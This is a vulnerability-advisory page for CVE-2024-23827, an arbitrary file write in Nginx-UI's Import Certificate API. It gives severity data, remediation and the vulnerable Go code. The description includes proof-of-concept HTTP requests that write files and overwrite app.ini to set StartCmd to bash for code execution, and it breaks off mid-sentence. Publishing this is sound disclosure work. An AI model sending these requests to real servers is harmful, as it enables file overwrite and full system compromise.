VulnerabilityPublished 29 Jan 2024Updated 6 Jul 2026

CVE-2024-23827: Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature

Affects github.com/0xJacky/Nginx-UISource GCVE Database

Not known to be exploited · CVSS 9.8 Critical : upgrade to 1.9.10-0.20240128060047-8581bdd3c6f4 as a priority.

Data as of 26 Oct 2026, 10:12 UTC

CVSS 3.1 base score

9.8Critical

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.7% chance of exploitation in 30 days – higher than 53% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.9.10-0.20240128060047-8581bdd3c6f4

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 29 Jan 2024
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20240128060047-8581bdd3c6f4.

Affected software

Product	Affected	Fixed in
Gogithub.com/0xJacky/Nginx-UI	Affected <1.9.10-0.20240128060047-8581bdd3c6f4	Fixed in 1.9.10-0.20240128060047-8581bdd3c6f4

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

If you cannot patch yet, restrict access to the Import Certificate API endpoint to trusted users only and monitor for suspicious activity related to file writes. Avoid exposing the service to untrusted networks.

Description

### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be appl

Impact

An unauthenticated attacker can write arbitrary files to the system running Nginx-UI, including overwriting configuration files. This can lead to remote code execution if the attacker modifies the StartCmd in app.ini to execute arbitrary commands. The vulnerability has a critical severity rating due to the potential for full system compromise.

Summary

The vulnerability in Nginx-UI's Import Certificate feature arises because it does not validate whether the provided input is a valid certificate or key, allowing arbitrary file paths to be written. The code writes user-controlled certificate and key contents to the specified paths without sanitization or path restrictions. This arbitrary file write can be exploited to overwrite critical files such as the app.ini configuration file, enabling further exploitation like remote code execution by modifying the StartCmd directive. The vulnerability is tracked as CVE-2024-23827 and is classified as CWE-22 (Path Traversal).

CWE-22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #6OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Implementation · Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks…
Implementation · Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174).
OWASP Cheat Sheets
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V12.3.1 (opens in a new tab)
Attack patterns
Path Traversal (opens in a new tab)
Using Slashes and URL Encoding Combined to Bypass Validation Logic (opens in a new tab)
Manipulating Web Input to File System Calls (opens in a new tab)
Using Escaped Slashes in Alternate Encoding (opens in a new tab)
Using Slashes in Alternate Encoding (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 6 Jul 2026, 23:51 UTC

WeaknessesCWE-22

Technical details

References

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